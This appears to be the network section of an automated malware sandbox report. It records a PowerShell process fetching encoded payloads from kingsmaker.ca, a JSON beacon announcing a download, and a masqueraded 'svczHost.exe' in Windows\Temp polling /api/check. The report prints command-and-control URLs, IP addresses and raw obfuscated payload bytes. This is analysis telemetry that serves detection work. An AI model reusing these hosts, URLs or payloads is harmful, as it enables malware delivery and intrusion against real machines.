Nov 29, 2024 08:25:19.180157900 CET	443	49737	104.21.75.170	192.168.2.8
Nov 29, 2024 08:25:19.180232048 CET	49737	443	192.168.2.8	104.21.75.170
Nov 29, 2024 08:25:19.180232048 CET	49737	443	192.168.2.8	104.21.75.170
Nov 29, 2024 08:25:19.180242062 CET	443	49737	104.21.75.170	192.168.2.8
Nov 29, 2024 08:25:19.180310011 CET	443	49737	104.21.75.170	192.168.2.8
Nov 29, 2024 08:25:19.180401087 CET	49737	443	192.168.2.8	104.21.75.170
Nov 29, 2024 08:25:19.231471062 CET	49737	443	192.168.2.8	104.21.75.170
Nov 29, 2024 08:25:22.142029047 CET	49739	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:22.142062902 CET	443	49739	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:22.142128944 CET	49739	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:22.142430067 CET	49739	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:22.142441034 CET	443	49739	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:23.452992916 CET	443	49739	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:23.456420898 CET	49739	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:23.456435919 CET	443	49739	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:23.456542015 CET	49739	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:23.456548929 CET	443	49739	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:24.456636906 CET	443	49739	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:24.456688881 CET	443	49739	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:24.456873894 CET	49739	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:24.457470894 CET	49739	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:24.497566938 CET	49740	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:24.497612000 CET	443	49740	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:24.497875929 CET	49740	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:24.497999907 CET	49740	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:24.498018026 CET	443	49740	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:25.754724979 CET	443	49740	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:25.756468058 CET	49740	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:25.756493092 CET	443	49740	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:25.756589890 CET	49740	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:25.756594896 CET	443	49740	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:26.758877039 CET	443	49740	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:26.758949995 CET	443	49740	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:26.759015083 CET	49740	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:26.759536982 CET	49740	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:29.238774061 CET	49742	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:29.238810062 CET	443	49742	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:29.239025116 CET	49742	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:29.239327908 CET	49742	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:29.239341021 CET	443	49742	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:29.394872904 CET	49743	80	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:29.514906883 CET	80	49743	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:29.515007973 CET	49743	80	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:29.515428066 CET	49743	80	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:29.635327101 CET	80	49743	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:30.579066038 CET	443	49742	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:30.581093073 CET	49742	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:30.581120968 CET	443	49742	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:30.581262112 CET	49742	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:30.581273079 CET	443	49742	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:30.918008089 CET	80	49743	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:30.918126106 CET	80	49743	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:30.918396950 CET	49743	80	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:31.707293987 CET	443	49742	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:31.707370996 CET	443	49742	172.67.179.67	192.168.2.8
Nov 29, 2024 08:25:31.707515955 CET	49742	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:25:31.712326050 CET	49742	443	192.168.2.8	172.67.179.67
Nov 29, 2024 08:26:44.418625116 CET	49743	80	192.168.2.8	172.67.179.67
Nov 29, 2024 08:26:44.539067030 CET	80	49743	172.67.179.67	192.168.2.8
Nov 29, 2024 08:26:44.539324045 CET	49743	80	192.168.2.8	172.67.179.67

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 08:24:13.215523005 CET	54010	53	192.168.2.8	1.1.1.1
Nov 29, 2024 08:24:13.356154919 CET	53	54010	1.1.1.1	192.168.2.8
Nov 29, 2024 08:24:46.457499981 CET	61171	53	192.168.2.8	1.1.1.1
Nov 29, 2024 08:25:01.178481102 CET	58293	53	192.168.2.8	1.1.1.1
Nov 29, 2024 08:25:21.997730970 CET	57746	53	192.168.2.8	1.1.1.1
Nov 29, 2024 08:25:22.141258955 CET	53	57746	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 08:24:13.215523005 CET	192.168.2.8	1.1.1.1	0x21ee	Standard query (0)	kingsmaker.ca	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:24:46.457499981 CET	192.168.2.8	1.1.1.1	0xfc11	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:01.178481102 CET	192.168.2.8	1.1.1.1	0xd66	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:21.997730970 CET	192.168.2.8	1.1.1.1	0x67e5	Standard query (0)	kingsmaker.ca	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 08:24:13.356154919 CET	1.1.1.1	192.168.2.8	0x21ee	No error (0)	kingsmaker.ca		104.21.75.170	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:24:13.356154919 CET	1.1.1.1	192.168.2.8	0x21ee	No error (0)	kingsmaker.ca		172.67.179.67	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:24:24.581187010 CET	1.1.1.1	192.168.2.8	0xf121	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:24:24.581187010 CET	1.1.1.1	192.168.2.8	0xf121	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:24:42.088001013 CET	1.1.1.1	192.168.2.8	0x7684	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:24:42.088001013 CET	1.1.1.1	192.168.2.8	0x7684	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:24:46.598407030 CET	1.1.1.1	192.168.2.8	0xfc11	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 08:25:01.323034048 CET	1.1.1.1	192.168.2.8	0xd66	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 08:25:22.141258955 CET	1.1.1.1	192.168.2.8	0x67e5	No error (0)	kingsmaker.ca		172.67.179.67	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:22.141258955 CET	1.1.1.1	192.168.2.8	0x67e5	No error (0)	kingsmaker.ca		104.21.75.170	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.102	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.24	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.59.35	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.100	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.103	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.99	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.73	A (IP address)	IN (0x0001)	false
Nov 29, 2024 08:25:29.492717981 CET	1.1.1.1	192.168.2.8	0xb617	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kingsmaker.ca

https:

p13n.adobe.io

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49743	172.67.179.67	80	8768	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 08:25:29.515428066 CET	72	OUT	GET /api/check HTTP/1.1 Host: kingsmaker.ca Connection: Keep-Alive
Nov 29, 2024 08:25:30.918008089 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:25:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ahVLhkeFeq5ESmwyKjuAQP%2FE2%2B0%2BqxL4x2kdI12lGcJiiaMN05Qf4VrUHf3mEEJXp89V6R8z3g7tnNGIURLM5zH7qO4D73Bmyqxk27DKQBLl6uPbHmXY1HKFvHddDraGdp2r%2FxbYnpp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=34985&min_rtt=1006&rtt_var=25234&sent=11724&recv=5606&lost=0&retrans=0&sent_bytes=16725960&recv_bytes=44140&delivery_rate=37516059&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0dd392bd98c33-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1796&rtt_var=898&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=72&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 36 33 0d 0a 31 37 33 32 38 36 35 31 33 30 7c 70 78 45 44 34 43 4e 59 44 6f 35 65 47 51 38 66 70 5a 2f 2f 71 55 35 78 38 4b 6b 2b 43 6f 30 57 74 68 4f 30 33 52 6f 65 62 74 54 51 39 6a 59 4e 35 76 34 56 52 49 67 4b 6d 43 36 74 51 61 7a 45 45 34 43 54 75 30 63 53 4b 76 77 51 45 4a 58 46 51 67 69 52 4c 62 2f 4d 79 42 6d 78 48 70 4f 4a 62 36 6f 6b 64 2b 67 4b 31 76 67 34 67 49 49 37 77 31 31 31 31 74 39 31 71 7a 43 6f 49 50 65 62 38 71 54 36 6b 4c 37 45 2f 54 4a 56 53 4b 4b 6f Data Ascii: 1631732865130\|pxED4CNYDo5eGQ8fpZ//qU5x8Kk+Co0WthO03RoebtTQ9jYN5v4VRIgKmC6tQazEE4CTu0cSKvwQEJXFQgiRLb/MyBmxHpOJb6okd+gK1vg4gII7w1111t91qzCoIPeb8qT6kL7E/TJVSKKo
Nov 29, 2024 08:25:30.918126106 CET	207	IN	Data Raw: 2b 35 79 72 6c 37 54 53 48 49 66 42 54 6c 33 78 4d 32 34 4b 4c 68 77 46 2f 47 6b 64 31 74 6e 76 6f 6d 2f 2f 4d 46 52 77 78 6f 4d 67 32 48 33 6a 35 67 6a 42 58 53 67 67 62 35 48 74 39 35 42 5a 66 36 4d 48 69 34 58 77 31 44 2b 33 76 38 62 73 47 32 Data Ascii: +5yrl7TSHIfBTl3xM24KLhwF/Gkd1tnvom//MFRwxoMg2H3j5gjBXSggb5Ht95BZf6MHi4Xw1D+3v8bsG2vixPHc3vQB2bGX/9RBD4woyxgnN+pgb3+2Tu1BjXKv8fOdLRQUPU6PJZj4LQO/4jMeJDL1OaWWcXxJsl/govV1memuQHx8L733emTAj3GPK3ChHif9+Q==0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:14 UTC	390	OUT	GET /file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb87ec64b75eef9f6703a3eb783bfa9ee7e92345daa3a62b976fb3d4ee238d363a7b5e9cf6d398cb37e4de3d85ec1f5daf0cf8c35fefe5c7fdd20dd092/Windows%20Defender/4/4/user/200 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Connection: Keep-Alive
2024-11-29 07:24:15 UTC	1115	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:15 GMT Content-Type: application/octet-stream Content-Length: 2856 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c8jZolUQ3pngHW7Qigl4S9eE8vwB5r4oXO3gE3GiAzXyVMpTh27%2BsYw0t6%2Ff%2F48rmgGQTIh%2BdNcIIkAjfxwK%2B2VwIUwUwO23fExbdDptSXD84U%2FUry3yLoLr%2F2ortsfvxOflwl5XQDOR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=28675&min_rtt=1061&rtt_var=29640&sent=158&recv=178&lost=0&retrans=0&sent_bytes=62640&recv_bytes=108718&delivery_rate=6218057&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0db612d628cc0-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1985&rtt_var=757&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1004&delivery_rate=1433480&cwnd=215&unsent_bytes=0&cid=0650c0c1c53fd4e2&ts=1021&x=0"
2024-11-29 07:24:15 UTC	254	IN	Data Raw: 25 75 75 71 76 79 6b 7b 64 6b 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 4f 31 53 53 63 33 65 4b 50 31 47 6f 58 31 65 46 64 57 6d 59 4c 46 38 4b 53 6f 53 53 57 55 40 34 60 56 47 75 57 6c 71 6a 53 6b 43 6f 52 6a 65 35 65 6d 6e 76 4c 59 71 60 64 54 47 76 53 47 47 77 55 6a 4f 71 50 56 65 4b 50 31 47 70 52 54 57 4e 65 6c 4b 74 56 6c 79 6b 63 6d 47 6f 56 56 31 34 60 33 57 55 50 6b 43 68 64 54 4b 37 5b 44 69 4a 62 46 4b 75 58 31 34 45 60 54 47 6f 52 54 4f 43 60 33 4c 7b 54 6f 6d 69 57 7b 57 74 54 56 31 34 60 33 57 55 50 55 6d 4b 53 6f 53 37 5b 44 69 4a 62 46 4b 75 5b 46 53 Data Ascii: %uuqvyk{dk<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#O1SSc3eKP1GoX1eFdWmYLF8KSoSSWU@4`VGuWlqjSkCoRje5emnvLYq`dTGvSGGwUjOqPVeKP1GpRTWNelKtVlykcmGoVV14`3WUPkChdTK7[DiJbFKuX14E`TGoRTOC`3L{TomiW{WtTV14`3WUPUmKSoS7[DiJbFKu[FS
2024-11-29 07:24:15 UTC	1369	IN	Data Raw: 4d 50 30 4b 7b 58 6b 4b 6a 55 6c 4c 78 58 33 65 6c 50 31 4b 44 58 6b 48 30 4c 6d 71 58 52 6b 43 56 53 7b 69 31 54 33 34 4e 65 6c 4b 71 60 7b 65 44 54 56 38 6f 52 54 4f 43 5b 31 71 49 64 49 5b 60 4c 45 47 72 58 7b 4f 4e 60 47 6e 78 57 6f 71 4b 53 45 43 6f 54 54 4f 6f 62 44 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 52 62 33 48 78 5b 44 34 60 56 44 34 37 56 57 65 6a 63 46 4f 34 50 59 4b 50 54 31 47 73 58 7b 4f 52 64 56 47 59 4f 56 34 53 63 55 6d 73 5b 57 53 7b 55 6a 4f 71 50 56 65 4b 50 31 47 73 58 6a 62 34 63 6d 53 59 57 6f 71 6b 4c 6a 5b 74 56 6d 69 4f 5b 31 75 37 4c 46 65 4b 60 55 43 31 55 47 4c 76 65 44 79 55 4c 49 53 4c 54 7b 43 71 55 32 62 76 52 31 53 53 63 33 65 4b 50 31 47 6f 52 6a 65 6e 63 47 6d 59 54 6c 79 6b 63 6a 30 6f 54 47 4f 42 50 56 54 7b 4c 45 Data Ascii: MP0K{XkKjUlLxX3elP1KDXkH0LmqXRkCVS{i1T34NelKq`{eDTV8oRTOC[1qIdI[`LEGrX{ON`GnxWoqKSECoTTOobD82LDuKP1GoRTORb3Hx[D4`VD47VWejcFO4PYKPT1GsX{ORdVGYOV4ScUms[WS{UjOqPVeKP1GsXjb4cmSYWoqkLj[tVmiO[1u7LFeK`UC1UGLveDyULISLT{CqU2bvR1SSc3eKP1GoRjencGmYTlykcj0oTGOBPVT{LE
2024-11-29 07:24:15 UTC	1233	IN	Data Raw: 5b 31 6d 49 56 6f 5b 6b 60 54 47 77 52 6a 65 73 5b 30 43 55 50 59 65 51 64 54 47 73 58 57 4f 43 65 46 4b 48 54 56 65 4a 53 31 6e 30 5b 44 65 56 50 6c 4f 74 52 6c 69 6d 54 7b 57 4f 56 6d 62 30 63 6c 53 49 5b 7b 65 4b 50 30 4b 76 52 32 6d 7b 62 44 6d 48 62 33 65 4a 53 31 6e 30 5b 44 65 56 50 6c 4f 74 52 6c 69 6d 57 6f 4f 73 58 57 58 76 5b 30 43 55 50 56 75 5b 63 6c 76 76 56 6d 57 46 64 56 4f 75 53 6b 57 59 64 57 4b 76 56 47 4f 43 65 47 6d 74 60 49 5b 6b 60 54 47 35 55 32 6d 42 4e 54 53 53 63 31 71 45 57 56 79 30 5b 46 31 34 62 6d 71 55 4c 54 5b 6d 52 44 4b 34 56 6d 69 4e 64 6c 47 59 4e 59 57 4b 50 33 69 68 57 55 4f 72 64 6c 53 49 57 6f 53 4c 63 47 4b 72 5b 54 69 53 65 57 4b 59 4f 56 71 68 4c 6d 4b 76 58 6c 30 6a 5b 44 38 70 62 47 5b 56 53 57 6a 31 55 46 75 Data Ascii: [1mIVo[k`TGwRjes[0CUPYeQdTGsXWOCeFKHTVeJS1n0[DeVPlOtRlimT{WOVmb0clSI[{eKP0KvR2m{bDmHb3eJS1n0[DeVPlOtRlimWoOsXWXv[0CUPVu[clvvVmWFdVOuSkWYdWKvVGOCeGmt`I[k`TG5U2mBNTSSc1qEWVy0[F14bmqULT[mRDK4VmiNdlGYNYWKP3ihWUOrdlSIWoSLcGKr[TiSeWKYOVqhLmKvXl0j[D8pbG[VSWj1UFu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:17 UTC	284	OUT	POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139fde1595928ef28d057 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca Content-Length: 302
2024-11-29 07:24:17 UTC	302	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 6b 69 6e 67 73 6d 61 6b 65 72 2e 63 61 2f 66 69 6c 65 32 2f 37 64 39 32 64 34 64 37 32 37 32 36 35 31 31 61 37 62 39 65 30 32 35 64 38 30 30 37 36 39 62 31 37 61 35 38 30 39 63 64 34 64 31 31 65 64 35 63 36 37 64 37 39 64 34 31 37 62 32 65 38 64 62 35 61 61 37 63 61 37 32 39 65 33 39 66 61 63 38 37 66 32 38 66 35 37 64 37 33 35 37 62 66 33 36 65 35 62 34 39 66 32 62 30 63 65 62 63 33 62 64 39 34 64 62 61 33 36 38 66 33 30 61 34 35 61 66 65 30 65 39 39 39 30 30 65 39 30 37 32 38 35 63 66 34 37 64 61 65 63 32 61 34 35 35 61 61 37 34 62 31 30 66 38 30 37 30 61 63 36 34 31 31 61 31 65 64 30 64 39 39 34 30 66 66 64 37 64 36 61 32 62 32 34 66 66 36 64 34 30 30 64 Data Ascii: [ "\"begin download https://kingsmaker.ca/file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729e39fac87f28f57d7357bf36e5b49f2b0cebc3bd94dba368f30a45afe0e99900e907285cf47daec2a455aa74b10f8070ac6411a1ed0d9940ffd7d6a2b24ff6d400d
2024-11-29 07:24:18 UTC	984	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:17 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9puU%2Bp51MaLZ1A8TDToybl59F8tUM16dLN5rPvRFoYoO1b7EeZ7uf%2FwuVarlP3b8NipZznei1503%2F80RqTOs2Tpi%2FzG4H4K336F3QtQ416%2BUcRHlyBO86Jm5WQO0JoEjJnP60UYGlq6r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9228&min_rtt=1097&rtt_var=16675&sent=4&recv=6&lost=0&retrans=0&sent_bytes=769&recv_bytes=1977&delivery_rate=22070&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0db70ccbe8c83-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1975&min_rtt=1964&rtt_var=758&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1246&delivery_rate=1422308&cwnd=189&unsent_bytes=0&cid=1357a1a9ef0d2a03&ts=1012&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	104.21.75.170	443	7728	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 07:24:19 UTC	364	OUT	GET /file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729e39fac87f28f57d7357bf36e5b49f2b0cebc3bd94dba368f30a45afe0e99900e907285cf47daec2a455aa74b10f8070ac6411a1ed0d9940ffd7d6a2b24ff6d400df08dbb5e2d0894c9d90c9a HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: kingsmaker.ca
2024-11-29 07:24:20 UTC	1104	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 07:24:20 GMT Content-Type: application/octet-stream Content-Length: 2862 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kK4R%2B3w1WFSfzDfiYxvDbLE%2FGWToHw%2FRGUcHK8OfJer0Lo266VaAJwdcab8IQbc8MbSGBEUFbfEBA4A%2BFpoA%2BpSGdhB0AqDKfEh7GYFrBJcnPNSF6bzT81z6NwUDK8l2cTEMetQQNoA%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15163&min_rtt=1097&rtt_var=24374&sent=6&recv=8&lost=0&retrans=0&sent_bytes=1534&recv_bytes=2975&delivery_rate=25748&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8ea0db7f9a8e43bd-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2077&min_rtt=2077&rtt_var=779&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1002&delivery_rate=1403846&cwnd=190&unsent_bytes=0&cid=d30069a4a4fe38cb&ts=1035&x=0"
2024-11-29 07:24:20 UTC	265	IN	Data Raw: 25 6b 76 70 6d 70 67 67 70 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 4c 6b 6d 30 52 56 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 30 71 59 53 6c 75 60 56 44 71 37 57 32 6d 52 62 6d 71 58 63 46 53 4b 53 45 43 6f 52 6a 69 60 60 46 4b 48 57 6c 79 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6b 47 6b 63 56 75 6f 54 47 4f 43 60 56 47 48 54 6b 43 6b 52 44 31 33 55 49 6a 34 62 6c 47 59 4f 56 34 6b 4c 6b 47 6e 58 55 4b 56 64 54 79 75 55 6c 69 4c 64 6d 4b 70 56 56 30 53 4c 6a 30 37 5b 46 69 4f 57 46 69 70 56 57 53 6b 4c 31 30 44 60 46 79 51 53 44 30 35 56 57 65 47 65 Data Ascii: %kvpmpggp<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#Lkm0RVq{UjOoLDuKP1GoRTORc0qYSlu`VDq7W2mRbmqXcFSKSECoRji``FKHWlyQe{CMRTOC[1mETkGkcVuoTGOC`VGHTkCkRD13UIj4blGYOV4kLkGnXUKVdTyuUliLdmKpVV0SLj07[FiOWFipVWSkL10D`FyQSD05VWeGe
